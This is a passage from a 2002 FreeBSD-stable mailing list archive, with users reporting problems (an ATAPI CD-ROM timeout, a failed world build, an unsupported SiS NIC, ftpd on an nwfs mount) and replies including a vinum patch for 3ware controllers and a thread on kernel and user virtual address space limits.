[211.21.66.250]) by hub.freebsd.org (Postfix) with ESMTP id DD48837B417 for ; Tue, 23 Apr 2002 00:38:59 -0700 (PDT) Received: from server.tucheng.generalresources.com (int-1-253.generalresources.com [192.168.1.253]) by h1.generalresources.com (8.11.6/8.11.6) with ESMTP id g3N7cts77339 for ; Tue, 23 Apr 2002 15:38:56 +0800 (CST) (envelope-from hsw@acm.org) Received: from x4.tucheng.generalresources.com (x4.tucheng.generalresources.com [192.168.2.4]) by server.tucheng.generalresources.com (8.11.4/8.11.4) with ESMTP id g3N7ctC46749 for ; Tue, 23 Apr 2002 15:38:55 +0800 (CST) (envelope-from hsw@acm.org) Received: from x4.tucheng.generalresources.com (localhost [127.0.0.1]) by x4.tucheng.generalresources.com (8.12.2/8.12.2) with ESMTP id g3N7crg6077601 for ; Tue, 23 Apr 2002 15:38:55 +0800 (CST) (envelope-from hsw@acm.org) Message-Id: <200204230738.g3N7crg6077601@x4.tucheng.generalresources.com> To: freebsd-stable@FreeBSD.ORG From: Christopher Hall Reply-To: Christopher Hall Subject: ATAPI CDROM fails to read CDRW X-Operating-System: FreeBSD X-Mailer: Exmh Date: Tue, 23 Apr 2002 15:38:53 +0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG a) When attempting restore from a dump file on CDRW media I get the following messages: acd0: READ_BIG command timeout - resetting ata1: resetting devices .. done acd0: READ_BIG command timeout - resetting ata1: resetting devices .. acd0: removed from configuration CD remains spining and system is locked up (hard reset needed). Since the problem did not occur with a CDRW drive so I had assumed the CDROM drive had failed. However yesterday I changed to 4.5p3 (was using stable from April 19) and the CDROM drive (AOPEN 52X) is working again. b) I made an ISO and burn a CDRW from 4.5p3, mkisofs and cdburn having been recompiled under 4.5p3. The CDRW kernel was the April 19 stable kernel. Same failure as above. So, I think I have ruled out bugs in mkisofs, cdburn or the CDRW driver; which leaves a problem in ATA CDROM driver in stable. c) While writing this I see a thread VCD reading probles. I tried the atacontrol suggestions. atacontrol to see the modes I could set PIO0 through PIO4 were possible UDMA no effect UDMA2, UDAM33, UDMA100 set a mode called WDMA2. The restore script ran sucessfully. Back at the command prompt atacontrol info gave: acd0: READ_BIG command timeout - resetting ata1: resetting devices .. done acd0: READ_BIG command timeout - resetting ata1: resetting devices .. acd0: ATAPI identify retries exceeded acd0: timeout waiting for cmd=ef s=10 e=7f acd0: timeout waiting for cmd=ef s=10 e=7f done acd0: READ_BIG - ABORTED COMMAND asc=0x4e ascq=0x00 error=0x04 vm_fault: pager read error, pid 1382 (atacontrol) atacontrol list ... same df .. more of the same vm_fault: for dhcpd - not unexpected as I suspect all access to CDROM is lost at this point. hardware reset. d) So far I have NOT been able to get the failure using dd (in PIO4) e.g. dd if=/dev/acd0c of=/dev/null bs=2048 dd if=/dev/acd0c of=/mnt/x bs=2048 dd if=dumpfile of=/dev/null but a restore right after this cause a failure. e) This sequence appears to be repeatable (in PIO4 mode) boot from cdrom, no hard disk mounted restore -rNf dumpfile1 (6 times) 30M restore -rNf dumpfile2 (once) 200k restore -rNf dumpfile3 (once) 100M Failure plus a fatal trap 12: page fault while in kernel mode f) the sequence (e) did NOT fail if I set dma by atacontrol mode 1 udma100 xxx Master = WDMA2 Slave = ??? repeated umount/mount/restore over 40 times and no failure g) Only one other time did crash in WDMA2 on the second run of my restore script. All other runs of the script were sucessful. dd and restore -rNf both OK. Conclusion: WDMA2 mode only 2 crashes in 10 tries. PIO4 is very easy to crash after several "restore -rNf" and run my restore script crashed very time. I believe this kernel was up-to-date with the latest cd driver cvsup today has not changed the CD driver since I made the April 19 kernel and none of the files in the directory are dated after April 19. ll /usr/src/sys/dev/ata/atapi-cd* gives -rw-r--r-- 1 root wheel 52860 Apr 1 08:25 atapi-cd.c -rw-r--r-- 1 root wheel 11596 Mar 19 10:21 atapi-cd.h Any suggestions? --- Christopher Hall Fax: +886-2-2795-3030 Christopher Hall Phone: +886-2-2795-5799 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 2:27:27 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail.unixguru.nl (cc49923-a.emmen1.dr.nl.home.com [212.204.178.120]) by hub.freebsd.org (Postfix) with ESMTP id 9356937B404 for ; Tue, 23 Apr 2002 02:27:22 -0700 (PDT) Received: from mail.unixguru.nl (mail.unixguru.nl [192.168.10.4]) by mail.unixguru.nl (Postfix) with ESMTP id E0EF734B1 for ; Tue, 23 Apr 2002 11:27:17 +0200 (CEST) Date: Tue, 23 Apr 2002 11:27:17 +0200 (CEST) From: Richard Arends To: Subject: build problem In-Reply-To: <200204230738.g3N7crg6077601@x4.tucheng.generalresources.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, Makeworld stops with the following error. Does somebody know what this means and how to solve it??? ----------------------------------------------------------------- {standard input}: Assembler messages: {standard input}:6123: Error: invalid character '`' in mnemonic {standard input}:6125: Error: no such instruction: `cmpv $68,(%eax)' *** Error code 1 Stop in /usr/src/gnu/usr.bin/cc/cc_int. *** Error code 1 Stop in /usr/src/gnu/usr.bin/cc. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. ----------------------------------------------------------------- Greetings, Richard. ---- An OS is like swiss cheese, the bigger it is, the more holes you get! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 3: 3:29 2002 Delivered-To: freebsd-stable@freebsd.org Received: from cruiser.planetarion.com (cruiser.planetarion.com [193.217.77.7]) by hub.freebsd.org (Postfix) with ESMTP id A38A037B419; Tue, 23 Apr 2002 03:03:23 -0700 (PDT) Received: from erlends by cruiser.planetarion.com with local (Exim 3.33 #2) id 16zx32-0006cM-00; Tue, 23 Apr 2002 11:57:20 +0200 To: freebsd-hardware@freebsd.org Subject: SiS 645 Chipset / SiS 900 NIC / FreeBSD 4.5 STABLE Cc: freebsd-stable@freebsd.org Message-Id: From: Erlend Simonsen Date: Tue, 23 Apr 2002 11:57:20 +0200 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have a machine with an ASUS P4S333-M/SWA/LAN/REALTEK-UAY motherboard where I'm having some problems getting the onboard SiS 900 nic to work. It works fine under linux-2.4.19, but not on any of the *BSDs. =( GENERIC kernel & custom kernels, none work. dmesg : sis0: port 0xb000-0xb0ff mem 0xe5800000-0xe5800fff irq 10 at device 3.0 on pic 0 sis0: Ethernet address: 00:e0:18:68:40:7d sis0: MII without any PHY! device_probe_and_attach: sis0 attach returned 6 pciconf -l : none0@pci0:3:0: class=0x020000 card=0x807c1043 chip=0x09001039 rev=0x90 hdr=0x00 Are there any known patches that fixes this problem? I've tried searching the archives and the internet without any results, as well as applying several patches that looked relevant by hand. No success. *Any* help would be appreciated. -- Erlend M. Simonsen fudge@planetarion.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 3:37:52 2002 Delivered-To: freebsd-stable@freebsd.org Received: from empty1.ekahuna.com (empty1.ekahuna.com [198.144.200.196]) by hub.freebsd.org (Postfix) with ESMTP id DF5B537B416 for ; Tue, 23 Apr 2002 03:37:48 -0700 (PDT) Received: from pc-02 (pc02.ekahuna.com [198.144.200.197]) by empty1.ekahuna.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Tue, 23 Apr 2002 03:37:47 -0700 From: "Philip J. Koenig" Organization: The Electric Kahuna Organization To: stable@FreeBSD.ORG Date: Tue, 23 Apr 2002 03:37:46 -0700 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: /etc/defaults/rc.conf theory Reply-To: pjklist@ekahuna.com In-reply-to: X-mailer: Pegasus Mail for Win32 (v3.12c) Message-ID: <20020423103747777.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > What I think would be a better way of approaching it is to > > incorporate some method of informing users during the upgrade > > process, probably part of mergemaster, of what has changed in > > /etc/defaults. > > Assuming that you run mergemaster, you'll see the diff before > being presented the options to install, delete, etc. Yes, but the problem I usually have is twofold: I usually run mergemaster in single-user mode, and as such if I run into some kind of difficulty (not sure whether to install/merge/delete) and want to do something like take a detailed look at or backup a file first, I can't switch to another console to look at/change things. (what happens in mergemaster if I try to spawn another shell from within it? Not sure what that would do to my logging of mergemaster using tee, and I'm afraid of hitting a wrong key because some things happen with a single keypress - ie the default action when pressing 'enter'.) Maybe I should get in the habit of running screen (/usr/ports/misc/screen) before mergemaster. Some files are also bigger than the scrollback buffer so I can't see all the changes without "merging" them or dealing with them separately. (I have this personal problem with the 'merge' process using sdiff.. every time I try to use it I have some kind of keyboard/command/viewing problem and screw things up. Maybe I just need more practice.) > > A section of mergemaster which prints key "heads up" items > > pertaining to the current build would also be extremely helpful. > > This is already there for you in UPDATING. UPDATING is OK, as long as all the recent changes are at the top of the file.. since it contains stuff going back several years. (But in my dreams I fantasize about something that can pickup on the major FreeBSD release you're currently running using uname, and just show items that have changed between what you're running and what you're upgrading to. A little redundancy is fine, ie if running 4.3- STABLE, show stuff going back to the original release of 4.3. Maybe uname wouldn't work if people install and boot the new kernel before running mergemaster?) -- Philip J. Koenig pjklist@ekahuna.com Electric Kahuna Systems -- Computers & Communications for the New Millenium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 4:37:18 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail.dada.it (mail5.dada.it [195.110.96.37]) by hub.freebsd.org (Postfix) with SMTP id A346937B41B for ; Tue, 23 Apr 2002 04:37:10 -0700 (PDT) Received: (qmail 30885 invoked from network); 23 Apr 2002 11:37:05 -0000 Received: from unknown (HELO libero.sunshine.ale) (195.110.114.252) by mail.dada.it with SMTP; 23 Apr 2002 11:37:05 -0000 Received: by libero.sunshine.ale (Postfix, from userid 1001) id 246A95F62; Tue, 23 Apr 2002 13:37:03 +0200 (CEST) Date: Tue, 23 Apr 2002 13:37:03 +0200 From: Alessandro de Manzano To: stable@freebsd.org Cc: mobile@freebsd.org Subject: notebook Asus L7300 and harddisks Message-ID: <20020423133703.A68364@libero.sunshine.ale> Reply-To: Alessandro de Manzano Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Operating-System: FreeBSD 4.5-STABLE Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi! I've a very weird problem with my notebook Asus L7300 with modern HD. Using the provided 2.5" harddisk, an IBM model DARA 6 Gbytes, all works really fine with 4.5p3 (RELENG_4_5). Today I tried to put in a 20-Gb Fujitsu MHN2200AT. The BIOS correctly recognize it as about 20 gigabytes, but when I try to boot from the 4.5-release CD it always hangs just before ata/atapi devices, reporting something like "too many stray IRQ 10". It is always reproduceable. Same CD (4.5-release), same kernel config (default installation kernel, but tried also disabling near everything in visualconfig), with IBM DARA the boot works, with Fujitsu's hangs. Note that the same message (too many IRQ stray) it is present also when using IBM's, so I don't think it is related to the problem. Someone has any hint ? Maybe the new, modern, HD causes different beavhior of the ATA controller ? Help! :-) Many TIA !! -- bye! Ale To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 5: 1:29 2002 Delivered-To: freebsd-stable@freebsd.org Received: from scout.adamant.net (scout.adamant.net [212.26.128.10]) by hub.freebsd.org (Postfix) with ESMTP id 374FD37B41B for ; Tue, 23 Apr 2002 05:01:19 -0700 (PDT) Received: from proxy.fc.kiev.ua (indust.fc.kiev.ua [212.26.129.65]) by scout.adamant.net (8.12.1/8.12.1) with ESMTP id g3NC1Een022297 for ; Tue, 23 Apr 2002 15:01:16 +0300 Received: from localhost (localhost [127.0.0.1]) by proxy.fc.kiev.ua (Postfix) with SMTP id 2A7A136617 for ; Tue, 23 Apr 2002 15:01:09 +0300 (EEST) Received: from blend.fc.kiev.ua (blend [192.168.5.17]) by proxy.fc.kiev.ua (Postfix) with ESMTP id 51CCC36548 for ; Tue, 23 Apr 2002 15:01:08 +0300 (EEST) Received: from 192.168.3.31 (gnut.fc.kiev.ua [192.168.3.31]) by blend.fc.kiev.ua (8.11.6/8.11.6) with ESMTP id g3NC17104835 for ; Tue, 23 Apr 2002 15:01:07 +0300 (EEST) (envelope-from gnut@fc.kiev.ua) Date: Tue, 23 Apr 2002 15:01:06 +0300 From: "Oles' Hnatkevych" X-Mailer: The Bat! (v1.60) Reply-To: "Oles' Hnatkevych" Organization: Finance & Credit Banking Corporation X-Priority: 3 (Normal) Message-ID: <14021901502.20020423150106@fc.kiev.ua> Disposition-Notification-To: gnut@fc.kiev.ua To: freebsd-stable@freebsd.org Subject: nwfs + ftpd MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello , Seems that I've found a feature or a bug ;) I've got a Netware share mounted to FreeBSD-4.5 box /SERVER:USER/VOL1 on /DIR (nwfs) everything is OK but getting files from this directory via ftp, using regular ftpd that is /usr/libexec/ftpd ;) When I "get" file, I get a memory dump, not the real content of the file, though the length is the same ;) and I got difficulties with even accessing it. The directory I mount to is owned by separate user and group, not the root:wheel. If someone wants to even see the directory in FTP "ls" output instead of "ftpd: DIR: Permission denied", it had to be in the wheel group ;) but the file content problem remains. ;) I wonder how ftpd is limited to the directories where netware shares are mounted? Where am I wrong? With best wishes, Oles' Hnatkevych, http://gnut.kiev.ua, gnut@fc.kiev.ua To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 5: 1:30 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88]) by hub.freebsd.org (Postfix) with ESMTP id 05B7037B405 for ; Tue, 23 Apr 2002 05:01:26 -0700 (PDT) Received: from max ([12.254.136.195]) by rwcrmhc52.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP id <20020423120120.CLW1901.rwcrmhc52.attbi.com@max>; Tue, 23 Apr 2002 12:01:20 +0000 Message-ID: <031f01c1eabe$9dc984c0$0900a8c0@max> From: "John Nielsen" To: "Vladislav V. Zhuk" , References: <20020423060700.GD8644@dru.dn.ua> Subject: Re: screen refresh rate Date: Tue, 23 Apr 2002 06:01:35 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="KOI8-R" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Vladislav V. Zhuk" To: Sent: Tuesday, April 23, 2002 12:07 AM Subject: screen refresh rate > Hi! > > I'm work at the computer up to 12 hours per day. The refresh > rate of textmodes in FreeBSD is too low (60-70 Hz). But i want > to safe my eyes. > > How I can to raise refresh rate to (for example) 85-90 Hz > on text modes (80x25, 80x30, 80x43, 80x50 and other) ?? > > FreeBSD 4.5-STABLE #0: Tue Apr 9 16:24:26 EEST 2002 Vanilla FreeBSD does not offer this functionality. I seem to recall seeing a link to a patch that would do this a while back, but I can't find it now. I did find a patch here, http://www.opennet.ru/base/patch/100x37-800x600-100Hz.txt.html but I haven't tried it and can't vouch for its usability. Be aware that if your hardware doesn't support the new defaults set by this patch that your system may become unusable even in single-user mode. > PS: don't offer X. Why not? You seem to want to get more out of your video hardware, and in a large number of cases X does that rather well. Just a thought.. JN To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 5: 9: 5 2002 Delivered-To: freebsd-stable@freebsd.org Received: from alogis.com (firewall.solit-ag.de [212.184.102.1]) by hub.freebsd.org (Postfix) with ESMTP id 20B2337B41E; Tue, 23 Apr 2002 05:08:59 -0700 (PDT) Received: from alogis.com (kipp@clausthal.int1.b.intern [10.1.1.30]) by alogis.com (8.11.1/8.9.3) with ESMTP id g3NC8wl89873; Tue, 23 Apr 2002 14:08:58 +0200 (CEST) (envelope-from holger.kipp@alogis.com) Message-ID: <3CC54B6E.5839BDAC@alogis.com> Date: Tue, 23 Apr 2002 13:54:22 +0200 From: Holger Kipp X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.13 i686) X-Accept-Language: en MIME-Version: 1.0 To: Greg Lehey Cc: FreeBSD Stable Users Subject: Vinum and /dev/twed0 (3ware escalade) References: <20010601134157.A8251@wantadilla.lemis.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greg Lehey wrote: > > Those of you who have been following the mailing lists will have > noticed (or participated in) a thread bemoaning the continued lack of > feedback from the core team. That thread is still very active, but > one suggestion (made by phk) was to send out a message asking for help > getting things done. It's easy to claim that this would work, but > first we need to know if anybody would be interested. Here's phk's > text: > > HELP WANTED > > The FreeBSD core team is looking for an assistant to help with > tracking and recording the issues being worked by core. > > Responsibilities: > > When a request or question is sent to core@ you reply with an > acknowledgement that it has been received, and nag the core team > until it has been decided on and replied to. > > It is also your responsibility to prepare a summary of core@'s > businnes once per month and after cores approval of the text, to > send this to developers@. This summary should be detailed enough to > show the committers which core members participate in the core > business and which don't. > > You will obviously gain insight into the work of and communications > of the core team, but apart from the above mentioned summary, this > information is of course strictly confidential. > Greg, I had some problems using vinum on /dev/twed0 (3ware IDE Raid Controller). Message similar to: 1: drive drive0 device /dev/twed1s1a ** 1 Can't initialize drive drive0: Operation not supported by device I found one corresponding message at http://www.geocrawler.com/archives/3/159/2001/10/50/6949487/ and would just like to ask if you could patch vinumio.c permanently... *** vinumio.c.orig Tue Apr 23 13:15:19 2002 --- vinumio.c. Tue Apr 23 13:22:57 2002 *************** *** 93,98 **** --- 93,101 ---- } else if (bcmp(dname, "idad", 4) == 0) { devmajor = 109; dname += 2; + } else if (bcmp(dname, "twed", 4) == 0) { /* 3ware raid */ + devmajor = 147; + dname += 2; } else return ENODEV; dname += 2; /* point past */ -- Holger Kipp, Dipl.-Math., Systemadministrator | alogis AG Fon: +49 (0)30 / 43 65 8 - 114 | Berliner Strasse 26 Fax: +49 (0)30 / 43 65 8 - 214 | D-13507 Berlin Tegel email: holger.kipp@alogis.com | http://www.alogis.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 5:25:47 2002 Delivered-To: freebsd-stable@freebsd.org Received: from alogis.com (firewall.solit-ag.de [212.184.102.1]) by hub.freebsd.org (Postfix) with ESMTP id 89A4237B416; Tue, 23 Apr 2002 05:25:42 -0700 (PDT) Received: from alogis.com (kipp@clausthal.int1.b.intern [10.1.1.30]) by alogis.com (8.11.1/8.9.3) with ESMTP id g3NCPfl90615; Tue, 23 Apr 2002 14:25:41 +0200 (CEST) (envelope-from holger.kipp@alogis.com) Message-ID: <3CC54F5A.22D48F42@alogis.com> Date: Tue, 23 Apr 2002 14:11:06 +0200 From: Holger Kipp X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.13 i686) X-Accept-Language: en MIME-Version: 1.0 To: Greg Lehey , FreeBSD Stable Users Subject: Re: Vinum and /dev/twed0 (3ware escalade) References: <20010601134157.A8251@wantadilla.lemis.com> <3CC54B6E.5839BDAC@alogis.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG sometime, I'm going to kill this editor... ok, here once more (sorry for the inconvenience): Greg, I had some problems using vinum on /dev/twed0 (3ware IDE Raid Controller). Message similar to: 1: drive drive0 device /dev/twed1s1a ** 1 Can't initialize drive drive0: Operation not supported by device I found one corresponding message at http://www.geocrawler.com/archives/3/159/2001/10/50/6949487/ and would just like to ask if you could patch vinumio.c permanently... Thank you, Holger *** vinumio.c.orig Tue Apr 23 13:15:19 2002 --- vinumio.c. Tue Apr 23 13:22:57 2002 *************** *** 93,98 **** --- 93,101 ---- } else if (bcmp(dname, "idad", 4) == 0) { devmajor = 109; dname += 2; + } else if (bcmp(dname, "twed", 4) == 0) { /* 3ware raid */ + devmajor = 147; + dname += 2; } else return ENODEV; dname += 2; /* point past */ -- Holger Kipp, Dipl.-Math., Systemadministrator | alogis AG Fon: +49 (0)30 / 43 65 8 - 114 | Berliner Strasse 26 Fax: +49 (0)30 / 43 65 8 - 214 | D-13507 Berlin Tegel email: holger.kipp@alogis.com | http://www.alogis.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 5:35: 8 2002 Delivered-To: freebsd-stable@freebsd.org Received: from gromit.it.su.se (gromit.it.su.se [130.237.95.77]) by hub.freebsd.org (Postfix) with ESMTP id 0EED537B417 for ; Tue, 23 Apr 2002 05:35:04 -0700 (PDT) Received: (from rnyberg@localhost) by gromit.it.su.se (8.11.6/8.11.6) id g3NCXxt23156; Tue, 23 Apr 2002 14:33:59 +0200 (CEST) (envelope-from rnyberg) Date: Tue, 23 Apr 2002 14:33:59 +0200 From: Richard Nyberg To: "Oles' Hnatkevych" Cc: freebsd-stable@FreeBSD.ORG Subject: Re: nwfs + ftpd Message-ID: <20020423143357.B22960@gromit.it.su.se> Mail-Followup-To: Richard Nyberg , Oles' Hnatkevych , freebsd-stable@FreeBSD.ORG References: <14021901502.20020423150106@fc.kiev.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <14021901502.20020423150106@fc.kiev.ua>; from gnut@fc.kiev.ua on Tue, Apr 23, 2002 at 03:01:06pm +0300 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ftpd uses the sendfile(2) function, which some network file systems aren't compatible with. I think your best bet is to use a ftp daemon that doesn't use it. Eg. pure-ftpd can be configured not to. -Richard On Tue, Apr 23, 2002 at 03:01:06pm +0300, Oles' Hnatkevych wrote: > Hello , > > Seems that I've found a feature or a bug ;) > > I've got a Netware share mounted to FreeBSD-4.5 box > /SERVER:USER/VOL1 on /DIR (nwfs) > > everything is OK but getting files from this > directory via ftp, using regular ftpd that is > /usr/libexec/ftpd ;) > > When I "get" file, I get a memory dump, not > the real content of the file, though the > length is the same ;) and I got difficulties > with even accessing it. The directory I mount > to is owned by separate user and group, not the > root:wheel. If someone wants to even see the > directory in FTP "ls" output instead of > "ftpd: DIR: Permission denied", it had to be > in the wheel group ;) but the file content > problem remains. ;) > > I wonder how ftpd is limited to the directories > where netware shares are mounted? > > Where am I wrong? > > With best wishes, Oles' Hnatkevych, http://gnut.kiev.ua, gnut@fc.kiev.ua > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 5:45:16 2002 Delivered-To: freebsd-stable@freebsd.org Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by hub.freebsd.org (Postfix) with ESMTP id CEEC337B404; Tue, 23 Apr 2002 05:44:55 -0700 (PDT) Received: from localhost.localdomain (earth.hub.org [64.49.215.11]) by localhost (Postfix) with ESMTP id 37602103335; Tue, 23 Apr 2002 09:44:51 -0300 (ADT) Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by earth.hub.org (Postfix) with ESMTP id C867210332E; Tue, 23 Apr 2002 09:44:50 -0300 (ADT) Date: Tue, 23 Apr 2002 09:44:50 -0300 (ADT) From: "Marc G. Fournier" To: Terry Lambert Cc: freebsd-current@freebsd.org, Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? In-Reply-To: <3CC4C683.F9AEF14E@mindspring.com> Message-ID: <20020423092909.N1721-100000@mail1.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 22 Apr 2002, Terry Lambert wrote: > "Marc G. Fournier" wrote: > > First, alot of this stuff is slowly sinking in ... after repeatedly > > reading it and waiting for the headache to disapate:) > > > > But, one thing that I'm still not clear on ... > > > > If I have 4Gig of RAM in a server, does it make any sense to have swap > > space on that server also? > > Yes. But it (mostly) does not apply to KVA, only to UVA data, > and there are much larger KVA requirements, so the more RAM you > have, the bigger the bottleneck to user space for anything you > swap. Okay ... to me, a bottleneck generally means slowdown ... so the more RAM I have, the slower the system will perform? > > Again, from what I'm reading, I have a total of 4Gig *aggregate* to > > work with, between RAM and swap, but its right here that I'm confused > > right now ... basically, the closer to 4Gig of RAM you get, the closer > > to 0 of swap you can have? > > No. > > I think you are getting confused on cardinality. You get one KVA, but > you get an arbitrary number of UVA's, until you run out of physical RAM > to make new ones. > > You have 4G aggregate KVA + UVA. > > So if your KVA is 3G, and your UVA is 1G, then you can have 1 3G > KVA, and 1000 1G UVA's. Okay, first question here ... above you say 'arbitrary number of UVAs', but here you state 1000 ... just a number picked out of the air, or is this some fixed limit? > Certain aspects of KVA are non-swappable. Some parts of UVA are > swappable in theory, but never swapped in practice (the page > tables and descriptors for each user process). > > The closer to 4G you have, the more physical RAM you have to spend > on managing the physical RAM. > > The total amount of physical RAM you have to spend on managing > memory is based on the total physical RAM plus the total swap. Okay, this makes sense ... I notice in 4.5-STABLE that if maxusers is set to 0, then the system will auto-tune based on memory ... is this something that also is auto-tuned? > As soon as that number exceeds ~2.5G, you can't do it on a 32 > bit processor any more, unless you hack FreeBSD to swap the > VM housekeeping data it uses for swapping UVA contents. Okay, now here you lost me ... which number exceeds ~2.5G? The "total amount of physical RAM you have to spend"? > Think of physical RAM as a resource. It's seperate from the > KVA and UVA, but the KVA has to have physical references to > do paged memory management. You are limited by how many of > these you can have in physical RAM, total. Okay ... alot of lights came on simultaneously with this email ... some of those lights, mind you, might be false, but its a start ... If I'm understanding this at all ... the KVA (among other things) is a pre-allocated/reserved section of RAM for managing the UVAs ... simplistically, it maintains the "process list" and all resources associated with it ... I realize it does do alot of other things, but this is what I'm more focused on right now ... Now, what exactly is a UVA? You state above '1000 1G UVAs' ... is one process == 1 UVA? Or is one user (with all its associated processes) == 1 UVA? Next, again, if I'm reading this right ... if I set my KVA to 3G, when the system boots, it will reserve 3G of *physical* RAM for the kernel itself, correct? So on a 4G machine, 1G of *physical* RAM will be available for UVAs ... so, if I run >1G worth of processes, that is where swapping to disk comes in, right? Other then the massive performance hit, and the limit you mention about some parts of UVA not being swappable, I could theoretically have >4G of swap to page out to? Is there a reason why this stuff isn't auto-scaled based on RAM as it is? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 6:48: 3 2002 Delivered-To: freebsd-stable@freebsd.org Received: from scribble.fsn.hu (scribble.fsn.hu [193.224.40.95]) by hub.freebsd.org (Postfix) with SMTP id 05A8637B41A for ; Tue, 23 Apr 2002 06:48:00 -0700 (PDT) Received: (qmail 26173 invoked by uid 1000); 23 Apr 2002 13:50:26 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 23 Apr 2002 13:50:26 -0000 Date: Tue, 23 Apr 2002 15:50:26 +0200 (CEST) From: Attila Nagy To: Oles' Hnatkevych Cc: freebsd-stable@freebsd.org Subject: Re: nwfs + ftpd In-Reply-To: <14021901502.20020423150106@fc.kiev.ua> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, > When I "get" file, I get a memory dump, not > the real content of the file, though the > length is the same ;) and I got difficulties > with even accessing it. I think this is the same issue with NULLFS and UNIONFS. (the first is corrected) See my previous mails on this topic. I 